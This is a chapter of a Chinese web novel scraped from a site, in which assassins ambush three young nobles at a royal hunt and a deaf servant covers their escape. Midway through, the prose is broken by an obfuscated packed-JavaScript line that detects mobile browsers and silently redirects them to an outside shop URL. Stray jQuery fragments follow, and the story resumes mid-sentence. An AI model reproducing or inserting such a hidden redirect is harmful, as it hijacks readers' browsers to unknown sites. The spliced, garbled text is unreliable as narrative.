文趣网 > 其他小说 > 耳背藏刀 > 12. 刺杀
    项琼惊恐地睁大双眼,僵在原地一动也不敢动,不可置信地低头看着自己的胸口。

    她胸口间琳琅满目地坠满了珍珠玛瑙等各色宝石,箭尖扎进了层层珠翠之中,看不清楚伤势如何。

    季礼浑身一震,猛地撑地起身,径直向她冲过去。

    满脑子都是:她不能死。

    虽然她娇蛮任性外强中干绣花枕头一个。

    但她不能死。

    她是娘亲故交之女,更是当朝的嫡公主,她不可以出事。

    季礼才刚一动身。

    ”咻——“,林中破空声再起,又是一箭!利箭从另一个方向射来,封住了季礼的去路。

    看来刺客不止一人。

    季礼心头一沉,这箭的意图很明确了,项琼只不过是正好出现在那里的替死鬼,刺客真正的目标,是季礼。

    季礼反应极快,当即摸出袖笼中的鸣嘀抬手射向天空,尖锐的哨声在整个围场回荡着。

    这是给每位参与围猎的贵族都配备的小玩意,用以遇险时求援用的。

    暗处的刺客见前两箭都失了手,季礼又已发了信号,顿时急了。

    密林中弓弦振响迭起,一支支箭矢破空,直朝季礼而来。

    钟砚跌坐在地上看楞了。

    季礼在地上滚了一圈,狼狈逃过一箭,还未来得及起身,眼看又一箭来势汹汹,直对自己的面门。

    电光火石之间,一柄窄刀从侧方横飞而至。铮然一声脆响,堪堪削断了箭尖

    蹄声笃笃,由远及近,钟砚见自己那聋仆骑着备用的马找了过来,想来是看见了季礼发出的鸣嘀。

    见到他们被箭雨围攻,聋仆夹紧马腹疾驰逼近。半身探出马背,伸出长臂一把捞起钟砚和季礼,一前一后放置在马背上,调转马头想要突围而去。

    “还有公主!公主!!”季礼被聋仆环在怀里,扭头大声呼喊。

    聋仆一滞,手中的缰绳轻轻收住。

    钟砚急声劝阻:“不行!快走!这马坐不下那么多人!”

    季礼急得翻身就要下马:“不行!不能抛下她不管!”

    钟砚命令道:“走!快走!不要管她了,他们的目标是你,不要紧的!我们快走!”

    聋仆却快速翻身下马,一把抱起项琼托上马背,随即把缰绳往季礼手里一塞。

    转身又从袖笼里掏出一把短刀,狠狠往马屁股上一刺,马吃痛,旋即带着背上三人狂奔而去。

    马一路疾驰,奔出去很远,季礼不禁回头看了一眼。

    只见那聋仆身形单薄,手持窄刀,与两名黑色的人影缠斗了起来。

    “钟砚,你这聋仆到底是什么人?”

    ***

    三人仓皇出逃,早已不辨方向。

    密林里树木丛生,三人都压低了身体,伏在马儿身上,任由它狂奔,一心只想着离那个危险的地方远一点。

    等马出了密林,慢慢放缓了速度,三人这才抬起头。

    环顾四周,只见踏上了一片开阔草原,方才只顾着逃命,完全没注意到马儿早已经跑出了围猎的范围。

    四周静悄悄的,见没有追兵追来,三人这才下了马。

    季礼扶着项琼慢慢下马,钟砚见状,也凑上来帮忙,两人把项琼挪到一处大石头旁,扶着她慢慢坐下。

    “别怕,我在,我不会让你死的。”季礼的声音听起来异常镇静。

    项琼的脸吓得惨白,纤细的手指枯枝一般紧紧攀着季礼,

    “项琼,你知道我们家都是武将,我从小就见过很多战场上受伤的人,我很会处理伤口的,你信我么?”

    两行眼泪从项琼的大眼睛里溢出,胸口起伏牵动箭杆,嘴唇泛出灰青色,她狠狠地点点头。

    “好。”季礼轻柔地说,“从现在开始,别哭,别动,稳住呼吸,少说话,千万别挣扎。”

    说罢,季礼从口袋深处掏出一粒豆大的药丸,掰开项琼的嘴塞了进去。

    “这是我季家的独门秘方,一般人我不告诉她的,吃了保你性命无虞。”

    项琼闻言赶紧抻长了脖子,努力咽了下去。随即闭上眼睛,好像安心了不少。

    季礼伸手一把扯开了项琼的外袍。

    钟砚一愣,旋即别过了头走开。

    季礼细细检查了伤口,又好气又好笑。

    真不知道这破公主怎么想的!打猎又不是选美!别的女眷都打扮得尽量利落轻薄,就她,今天跟个花孔雀似的,绫罗绸缎披披挂挂了一身。

    不过幸好这花蝴蝶不分场合的穿金戴银,箭头大部分都打在了胸口的珠翠上,只没入胸口一点,远不及肺腑,只有一点皮外伤而已。

    季礼暗暗松了一口气。

    这金枝玉叶要是有个三长两短,她要怎么跟娘亲交代。

    箭头已经近乎碎裂,季礼拿起小匕首,一点点把嵌入肉里的金属碎片细细清理出来。

    虽然没入不深,但平日里连巴掌都没挨过的项琼哪里受过这种皮肉之苦。

    但她又谨记季礼交代的不能哭,嘴唇都咬出血了愣是一声没吭。

    可以啊,有点巾帼公主的样子了,之前小瞧你了。

    季礼心里暗暗想。

    终于清完创口,季礼掏出随身携带的金创药细细涂了,用力扯下了自己的外裙,撕成一条条纱布替项琼细细包扎好。

    这才一屁股坐在地上,把胸口里的一口闷气喘了出来。

    初春时节,白天还比较温暖,可是此时已经临近黄昏,气温骤然降了下来。

    钟砚抱着捡来的一捆枯枝走了过来。

    “我看过了,这应该是猎场的后山,马儿估计是逃跑的时候慌不择路,跑错了方向,反倒带着我们跑这来了。“

    他边说边点燃了枯枝,把自己的外袍给了两个女孩,苦笑道:“我身上的鸣嘀刚在马上跑的时候掉了,估计公主殿下的也找不到了,这会发不出信号。咱们估计得在这过夜了。”

    又递给她们一只水袋,说:“里面装的温酒,大家喝一点暖暖身子罢。”

    项琼毕竟还是受了伤流了血,更经不住寒气,此时已经嘴唇发白,紧紧依偎着季礼。

    篝火琵琶作响

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968736|214612||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,三人各怀心事,沉默了良久。季礼还是忍不住,问出了口。

    ”你那聋仆,到底是什么人?“

    钟砚沉默了片刻,回答道:“是我爹给我安排的死士。”

    他抬起头,他眼神灼灼地望着季礼:“真的,我没有骗你。我踏青那日讲的都是真的。”

    “这聋仆父亲重病,是我爹爹出手相救,他感念我爹的恩情,便忠心耿耿地护在我身边。平日里他就装作寻常小厮,暗中护我周全。”

    季礼看着篝火跳舞,没有说话。

    是啊,看似再天真的公子哥,身后的心机一点不会少。他天真,只不过有他父亲替他铺好了路而已。

    救下老子,利用儿子,恩义摆在明面上,连护卫的忠心都来得名正言顺,任谁看了都只会叹一句仁厚善良。

    不知那聋仆现在如何。

    季礼只记得他二话不说跳下马去,把缰绳塞进自己手里,便头也不回地一头扎进黑暗里。

    最后那一撇,聋仆单薄的衣角在黑暗中翻飞。

    钟砚只需要维持一副纯粹模样,便可以毫无负担地享受恩情,可是那些拼尽全力才能活下来的人呢?

    隔了很久她才开口:”今天若不是他及时赶到,我们三人,肯定活不下去了。”

    钟砚以为她担心刺客追过来,便安抚道:“放心吧,聋仆是死士,必定以死相搏,好歹能拦住一阵子,我们都跑了这么远,不会追来的。”

    像是应了这句话,就在这时,一阵爽朗的笑声突然从天而降:“公子小姐们好兴致啊!你们那聋子是难对付的很,不过兄弟们已经解决了。难为你们跑了这么远,想必累了吧,不如跟我回去坐坐!”

    话音未落,两个黑衣蒙面人纵身跳了出来。季礼认了出来,看打扮正是刚刚与聋仆缠斗的刺客。

    听他们的口气,聋仆是凶多吉少了,淡淡的寒意裹着感伤漫上了季礼的心头。

    钟砚当即起身,挡在季礼和项琼身前:“冲我来!要抓,就抓我一个!”

    对方全然不把他放在眼里,轻笑道:”钟公子这会怎么转了性子了?刚刚不是还要扔下公主自己跑么?”

    钟砚面上一窘,嘴上却还是硬着:“你、你胡说!我,我男子汉大丈夫,我是要保护女孩子的!”

    刺客语气带着戏谑:“还是说,钟公子今天的任务,是在季小姐面前好好表现就可以了?旁边的什么人,都无所谓?”

    钟砚脸上瞬间红一块白一块,心头掠过一丝震惊疑惑。脸上天真的神色褪去,眼底飞快地闪过一丝阴鸷。

    季礼不跟对方多费口舌,反手从腰间抽出九节鞭,径直迎上一名刺客就出了招。先前吃了亏,是因为敌人在暗我在明,现在真打起来,谁占上风说不定呢!

    对方抽出了窄刀,俩人刀光鞭影过了几招,一时间竟难分伯仲,

    突然,季礼余光一撇,手中的长鞭骤然停在了半空中。

    只见另一名刺客趁这空挡,一手一个,紧紧扣住了项琼和钟砚脖颈。

    他抬眼望着季礼,笑道:“季小姐,乖乖跟我们走吧。”